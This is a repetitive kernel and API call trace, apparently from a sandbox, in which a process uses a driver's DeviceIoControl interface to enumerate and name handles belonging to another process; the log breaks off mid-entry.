[0120.953] ObReferenceObjectByHandle (in: Handle=0x1f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00193ffc0, HandleInformation=0x0) returned 0x0 [0120.953] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.953] PsReleaseProcessExitSynchronization () returned 0x2 [0120.953] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.953] ObQueryNameString (in: Object=0xfffff8a00193ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.953] ObfDereferenceObject (Object=0xfffff8a00193ffc0) returned 0x1 [0120.953] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.953] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.953] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.953] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.953] PsAcquireProcessExitSynchronization () returned 0x0 [0120.953] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.953] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001984fc0, HandleInformation=0x0) returned 0x0 [0120.953] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.953] PsReleaseProcessExitSynchronization () returned 0x2 [0120.953] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.953] ObQueryNameString (in: Object=0xfffff8a001984fc0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.953] ObfDereferenceObject (Object=0xfffff8a001984fc0) returned 0x1 [0120.953] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.953] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.954] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.954] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.954] PsAcquireProcessExitSynchronization () returned 0x0 [0120.954] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.954] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0016d4ba0, HandleInformation=0x0) returned 0x0 [0120.954] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.954] PsReleaseProcessExitSynchronization () returned 0x2 [0120.954] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.954] ObQueryNameString (in: Object=0xfffff8a0016d4ba0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.954] ObfDereferenceObject (Object=0xfffff8a0016d4ba0) returned 0x1 [0120.954] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.954] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.954] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.954] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.954] PsAcquireProcessExitSynchronization () returned 0x0 [0120.954] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.954] ObReferenceObjectByHandle (in: Handle=0x220, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0016e6060, HandleInformation=0x0) returned 0x0 [0120.954] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.954] PsReleaseProcessExitSynchronization () returned 0x2 [0120.954] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.954] ObQueryNameString (in: Object=0xfffff8a0016e6060, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.954] ObfDereferenceObject (Object=0xfffff8a0016e6060) returned 0x1 [0120.954] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.954] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.954] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.954] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.954] PsAcquireProcessExitSynchronization () returned 0x0 [0120.954] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.954] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001504170, HandleInformation=0x0) returned 0x0 [0120.955] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.955] PsReleaseProcessExitSynchronization () returned 0x2 [0120.955] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.955] ObQueryNameString (in: Object=0xfffff8a001504170, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.955] ObfDereferenceObject (Object=0xfffff8a001504170) returned 0x1 [0120.955] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.955] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.955] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.955] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.955] PsAcquireProcessExitSynchronization () returned 0x0 [0120.955] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.955] ObReferenceObjectByHandle (in: Handle=0x22c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001a2cd30, HandleInformation=0x0) returned 0x0 [0120.955] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.955] PsReleaseProcessExitSynchronization () returned 0x2 [0120.955] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.955] ObQueryNameString (in: Object=0xfffff8a001a2cd30, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.955] ObfDereferenceObject (Object=0xfffff8a001a2cd30) returned 0x1 [0120.955] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.955] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.955] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.955] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.955] PsAcquireProcessExitSynchronization () returned 0x0 [0120.955] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.955] ObReferenceObjectByHandle (in: Handle=0x230, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001a5e540, HandleInformation=0x0) returned 0x0 [0120.955] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.955] PsReleaseProcessExitSynchronization () returned 0x2 [0120.955] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.955] ObQueryNameString (in: Object=0xfffff8a001a5e540, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.955] ObfDereferenceObject (Object=0xfffff8a001a5e540) returned 0x1 [0120.955] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.955] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.956] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.956] PsAcquireProcessExitSynchronization () returned 0x0 [0120.956] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.956] ObReferenceObjectByHandle (in: Handle=0x240, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001703f70, HandleInformation=0x0) returned 0x0 [0120.956] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.956] PsReleaseProcessExitSynchronization () returned 0x2 [0120.956] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.956] ObQueryNameString (in: Object=0xfffff8a001703f70, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.956] ObfDereferenceObject (Object=0xfffff8a001703f70) returned 0x1 [0120.956] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.956] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.956] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.956] PsAcquireProcessExitSynchronization () returned 0x0 [0120.956] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.956] ObReferenceObjectByHandle (in: Handle=0x248, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001b65390, HandleInformation=0x0) returned 0x0 [0120.956] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.956] PsReleaseProcessExitSynchronization () returned 0x2 [0120.956] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.956] ObQueryNameString (in: Object=0xfffff8a001b65390, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.956] ObfDereferenceObject (Object=0xfffff8a001b65390) returned 0x1 [0120.956] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.956] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.956] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0120.956] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.956] PsAcquireProcessExitSynchronization () returned 0x0 [0120.956] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.956] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800348e200, HandleInformation=0x0) returned 0x0 [0120.956] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.957] PsReleaseProcessExitSynchronization () returned 0x2 [0120.957] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.957] ObQueryNameString (in: Object=0xfffffa800348e200, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.957] ObfDereferenceObject (Object=0xfffffa800348e200) returned 0x2 [0120.957] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.957] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.957] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.957] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.957] PsAcquireProcessExitSynchronization () returned 0x0 [0120.957] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.957] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001aa6d40, HandleInformation=0x0) returned 0x0 [0120.957] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.957] PsReleaseProcessExitSynchronization () returned 0x2 [0120.957] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.957] ObQueryNameString (in: Object=0xfffff8a001aa6d40, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.957] ObfDereferenceObject (Object=0xfffff8a001aa6d40) returned 0x1 [0120.957] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.957] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.957] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.957] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.957] PsAcquireProcessExitSynchronization () returned 0x0 [0120.957] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.957] ObReferenceObjectByHandle (in: Handle=0x254, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001aaed80, HandleInformation=0x0) returned 0x0 [0120.957] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.957] PsReleaseProcessExitSynchronization () returned 0x2 [0120.957] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.957] ObQueryNameString (in: Object=0xfffff8a001aaed80, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.957] ObfDereferenceObject (Object=0xfffff8a001aaed80) returned 0x1 [0120.958] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.958] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.958] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.958] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.958] PsAcquireProcessExitSynchronization () returned 0x0 [0120.958] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.958] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001aae1f0, HandleInformation=0x0) returned 0x0 [0120.958] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.958] PsReleaseProcessExitSynchronization () returned 0x2 [0120.958] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.958] ObQueryNameString (in: Object=0xfffff8a001aae1f0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.958] ObfDereferenceObject (Object=0xfffff8a001aae1f0) returned 0x1 [0120.958] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.958] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.958] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.958] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.958] PsAcquireProcessExitSynchronization () returned 0x0 [0120.958] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.958] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001aacfc0, HandleInformation=0x0) returned 0x0 [0120.958] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.958] PsReleaseProcessExitSynchronization () returned 0x2 [0120.958] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.958] ObQueryNameString (in: Object=0xfffff8a001aacfc0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.958] ObfDereferenceObject (Object=0xfffff8a001aacfc0) returned 0x1 [0120.958] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.958] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.958] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.958] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.958] PsAcquireProcessExitSynchronization () returned 0x0 [0120.959] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.959] ObReferenceObjectByHandle (in: Handle=0x268, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001aad6f0, HandleInformation=0x0) returned 0x0 [0120.959] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.959] PsReleaseProcessExitSynchronization () returned 0x2 [0120.959] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.959] ObQueryNameString (in: Object=0xfffff8a001aad6f0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.959] ObfDereferenceObject (Object=0xfffff8a001aad6f0) returned 0x1 [0120.959] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.959] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.959] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.959] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.959] PsAcquireProcessExitSynchronization () returned 0x0 [0120.959] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.959] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0012500e0, HandleInformation=0x0) returned 0x0 [0120.959] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.959] PsReleaseProcessExitSynchronization () returned 0x2 [0120.959] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.959] ObQueryNameString (in: Object=0xfffff8a0012500e0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.959] ObfDereferenceObject 